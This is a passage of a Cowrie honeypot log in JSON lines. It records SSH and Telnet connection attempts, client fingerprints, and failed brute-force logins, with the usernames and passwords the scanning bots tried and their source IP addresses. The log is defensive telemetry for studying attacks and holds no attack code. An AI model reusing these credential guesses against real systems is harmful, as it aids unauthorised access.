sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:45:06.777840Z","src_ip":"20.228.179.34","session":"b16344422671","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vauld123","message":"login attempt [root/vauld123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:45:06.815022Z","src_ip":"20.228.179.34","session":"b16344422671","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:45:07.830296Z","src_ip":"20.228.179.34","session":"b16344422671","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50232,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c99d2dc1dac","protocol":"telnet","message":"New connection: 170.64.224.25:50232 (159.203.135.109:23) [session: 0c99d2dc1dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:45:16.983763Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46262,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5f829741442","protocol":"telnet","message":"New connection: 170.64.224.25:46262 (159.203.135.109:23) [session: a5f829741442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:45:19.199640Z"}
{"eventid":"cowrie.session.closed","duration":120.00419855117798,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:45:26.396426Z","src_ip":"170.64.224.25","session":"bdc6b11bba11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34598,"dst_ip":"159.203.135.109","dst_port":23,"session":"706b3d10f030","protocol":"telnet","message":"New connection: 170.64.224.25:34598 (159.203.135.109:23) [session: 706b3d10f030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:45:37.311194Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49512,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0caeedaa5f8","protocol":"telnet","message":"New connection: 170.64.224.25:49512 (159.203.135.109:23) [session: e0caeedaa5f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:45:39.934174Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49526,"dst_ip":"159.203.135.109","dst_port":23,"session":"5334b0c95d87","protocol":"telnet","message":"New connection: 170.64.224.25:49526 (159.203.135.109:23) [session: 5334b0c95d87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:45:42.508401Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.163.5.228","src_port":43554,"dst_ip":"159.203.135.109","dst_port":22,"session":"38abce2acedc","protocol":"ssh","message":"New connection: 221.163.5.228:43554 (159.203.135.109:22) [session: 38abce2acedc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:45:49.190338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:45:49.194340Z","src_ip":"221.163.5.228","session":"38abce2acedc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3cb24313ef7969100a7527f11b569cd4","hasshAlgorithms":"diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,ext-info-c;3des-cbc,aes128-cbc,aes128-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3cb24313ef7969100a7527f11b569cd4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:45:49.394965Z","src_ip":"221.163.5.228","session":"38abce2acedc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nikhil@123","message":"login attempt [root/Nikhil@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:45:50.230520Z","src_ip":"221.163.5.228","session":"38abce2acedc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:45:51.434912Z","src_ip":"221.163.5.228","session":"38abce2acedc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.61790943145752,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:01.928984Z","src_ip":"170.64.224.25","session":"706b3d10f030","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":23.80586266517639,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:03.739912Z","src_ip":"170.64.224.25","session":"e0caeedaa5f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.21294283866882,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:03.914443Z","src_ip":"143.198.154.150","session":"4838c7b4d763","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.17959952354431,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:04.379105Z","src_ip":"170.64.224.25","session":"a5f829741442","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.74639678001404,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:09.730039Z","src_ip":"170.64.224.25","session":"0c99d2dc1dac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40858,"dst_ip":"159.203.135.109","dst_port":23,"session":"3efde484fb02","protocol":"telnet","message":"New connection: 170.64.224.25:40858 (159.203.135.109:23) [session: 3efde484fb02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:18.138023Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.7.26.153","src_port":51062,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca7b78e67a67","protocol":"ssh","message":"New connection: 191.7.26.153:51062 (159.203.135.109:22) [session: ca7b78e67a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:44.250638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:44.254913Z","src_ip":"191.7.26.153","session":"ca7b78e67a67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:44.378371Z","src_ip":"191.7.26.153","session":"ca7b78e67a67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44668,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b74415c3fba","protocol":"telnet","message":"New connection: 170.64.224.25:44668 (159.203.135.109:23) [session: 1b74415c3fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:44.753072Z"}
{"eventid":"cowrie.login.failed","username":"dpi","password":"dpi123","message":"login attempt [dpi/dpi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:44.905010Z","src_ip":"191.7.26.153","session":"ca7b78e67a67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:46.033847Z","src_ip":"191.7.26.153","session":"ca7b78e67a67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.122.77.102","src_port":24435,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a5c511631a7","protocol":"ssh","message":"New connection: 134.122.77.102:24435 (10.17.0.5:22) [session: 5a5c511631a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:48.258394Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:48.264344Z","src_ip":"134.122.77.102","session":"5a5c511631a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.122.77.102","src_port":25149,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ef46c9c7255","protocol":"ssh","message":"New connection: 134.122.77.102:25149 (10.17.0.5:22) [session: 8ef46c9c7255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:48.776601Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:48.866148Z","src_ip":"134.122.77.102","session":"8ef46c9c7255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.90.232.37","src_port":9510,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7b6558f6bc6","protocol":"ssh","message":"New connection: 164.90.232.37:9510 (10.17.0.5:22) [session: d7b6558f6bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:49.157695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:49.161292Z","src_ip":"164.90.232.37","session":"d7b6558f6bc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2aec6b44b06bec95d73f66b5d30cb69a","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2aec6b44b06bec95d73f66b5d30cb69a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:49.246353Z","src_ip":"164.90.232.37","session":"d7b6558f6bc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.105.39","src_port":38956,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e9a31b8c86d","protocol":"ssh","message":"New connection: 162.144.105.39:38956 (10.17.0.5:22) [session: 1e9a31b8c86d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:57.177544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:57.180330Z","src_ip":"162.144.105.39","session":"1e9a31b8c86d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:57.271793Z","src_ip":"162.144.105.39","session":"1e9a31b8c86d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"popcat","password":"popcat123","message":"login attempt [popcat/popcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:46:57.540965Z","src_ip":"162.144.105.39","session":"1e9a31b8c86d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.084112882614136,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:00.222017Z","src_ip":"170.64.224.25","session":"3efde484fb02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.218.9.86","src_port":56548,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea0b7166acfd","protocol":"ssh","message":"New connection: 181.218.9.86:56548 (159.203.135.109:22) [session: ea0b7166acfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:02.965747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:02.975016Z","src_ip":"181.218.9.86","session":"ea0b7166acfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:02.997781Z","src_ip":"162.144.105.39","session":"1e9a31b8c86d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:03.129556Z","src_ip":"181.218.9.86","session":"ea0b7166acfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lijing","message":"login attempt [root/lijing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:04.664285Z","src_ip":"181.218.9.86","session":"ea0b7166acfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:05.820583Z","src_ip":"181.218.9.86","session":"ea0b7166acfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.0","message":"Connection lost after 20.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:09.158996Z","src_ip":"164.90.232.37","session":"d7b6558f6bc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57310,"dst_ip":"159.203.135.109","dst_port":23,"session":"101d57fabdb7","protocol":"telnet","message":"New connection: 170.64.224.25:57310 (159.203.135.109:23) [session: 101d57fabdb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:09.710294Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47006,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd41f19d1638","protocol":"telnet","message":"New connection: 170.64.224.25:47006 (159.203.135.109:23) [session: dd41f19d1638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:20.642313Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47016,"dst_ip":"159.203.135.109","dst_port":23,"session":"1593a121293d","protocol":"telnet","message":"New connection: 170.64.224.25:47016 (159.203.135.109:23) [session: 1593a121293d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:21.322182Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.22.12","src_port":52344,"dst_ip":"159.203.135.109","dst_port":22,"session":"76f74fb8fd3c","protocol":"ssh","message":"New connection: 101.126.22.12:52344 (159.203.135.109:22) [session: 76f74fb8fd3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:26.613006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:28.023631Z","src_ip":"101.126.22.12","session":"76f74fb8fd3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:28.026382Z","src_ip":"101.126.22.12","session":"76f74fb8fd3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass12#$","message":"login attempt [root/pass12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:28.922068Z","src_ip":"101.126.22.12","session":"76f74fb8fd3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:30.153610Z","src_ip":"101.126.22.12","session":"76f74fb8fd3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":40300,"dst_ip":"10.17.0.5","dst_port":22,"session":"85273950472d","protocol":"ssh","message":"New connection: 103.27.238.116:40300 (10.17.0.5:22) [session: 85273950472d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:33.003835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:33.009589Z","src_ip":"103.27.238.116","session":"85273950472d","protocol":"ssh"}
